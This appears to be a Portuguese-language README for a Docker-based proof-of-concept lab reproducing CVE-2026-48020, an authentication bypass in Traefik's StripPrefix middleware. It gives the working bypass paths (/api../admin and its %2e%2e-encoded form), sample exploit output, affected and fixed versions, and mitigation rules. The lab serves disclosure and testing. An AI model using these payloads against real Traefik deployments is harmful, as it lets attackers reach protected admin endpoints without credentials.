hunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalizationLaboratório de prova de conceito para o CVE-2026-48020, demonstrando uma bypass crítica de autenticação no middleware StripPrefix do Traefik por meio de normalização de caminho. Inclui ambiente de reprodução baseado em Docker e scripts de verificação.
Uma prova de conceito autocontida para CVE-2026-48020, um bypass de autenticação/autorização a nível de rota no middleware StripPrefix do Traefik causado pela normalização de caminho que ocorre após as decisões de roteamento serem tomadas.
Uma requisição como GET /api../admin é roteada através de um roteador público PathPrefix(/api) no momento do roteamento (portanto, o middleware basicAuth do roteador protegido nunca é anexado), mas após o StripPrefix remover /api e o req.URL.JoinPath() do Go normalizar o restante /../admin, o backend recebe — um caminho que deveria estar protegido.
/admin| CVE | CVE-2026-48020 |
| GHSA | GHSA-xf64-8mw2-4gr2 |
| CVSS 3.1 (NVD) | 10.0 Crítico (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Afetado | Traefik <= v2.11.46, <= v3.6.17, <= v3.7.1 |
| Corrigido em | v2.11.48, v3.6.19, v3.7.3 |
client (poc.py)
│ GET /api../admin ← no credentials
▼
Traefik :18080 ──routing──▶ public-api router (PathPrefix /api) + StripPrefix
(skips) protected router (PathPrefix /admin) + basicAuth
│ after StripPrefix("/api"): /../admin ──JoinPath()──▶ /admin
▼
backend :9000 ──▶ 200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }
| Arquivo | Propósito |
|---|---|
docker-compose.yml | Sobe um Traefik vulnerável (v3.7.1) + um backend Python |
dynamic.yml | Configuração dinâmica do Traefik: uma rota pública /api com strip e uma rota protegida /admin,/internal atrás de basicAuth |
backend.py | Backend pequeno que retorna um segredo para os caminhos protegidos |
poc.py | Envia os payloads de bypass e relata quais caminhos foram alcançados |
docker compose up -d --wait # start Traefik v3.7.1 + backend
python3 poc.py # run the bypass checks
[*] Target: http://127.0.0.1:18080
[blocked] direct protected (auth enforced) /admin
-> status=401 body=...
[blocked] direct protected (auth enforced) /internal/config
-> status=401 body=...
[safe ] public strip + exclusion (safe) /api/admin
-> status=404 body=...
[safe ] public strip + exclusion (safe) /api/internal/config
-> status=404 body=...
[!] BYPASS literal .. /api../admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
[!] BYPASS encoded %2e%2e /api%2e%2e/admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.
v3.7.3)Os payloads de bypass retornam 404 em vez de 200. O patch (Traefik PR
#13215) rejeita qualquer requisição cujo caminho difira após a normalização do StripPrefix/StripPrefixRegex, portanto a reescrita /../admin é detectada e recusada.
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py # bypass payloads now return 404 -> "No bypass observed"
Impeça que a rota pública corresponda à forma de traversal:
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`) + StripPrefix(`/api/`)
Relatado aos mantenedores do Traefik por WonYun / kyun0 (GitHub: H4ck2); corrigido em GHSA-xf64-8mw2-4gr2. Este laboratório PoC é uma reprodução independente criada para o artigo acompanhante: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.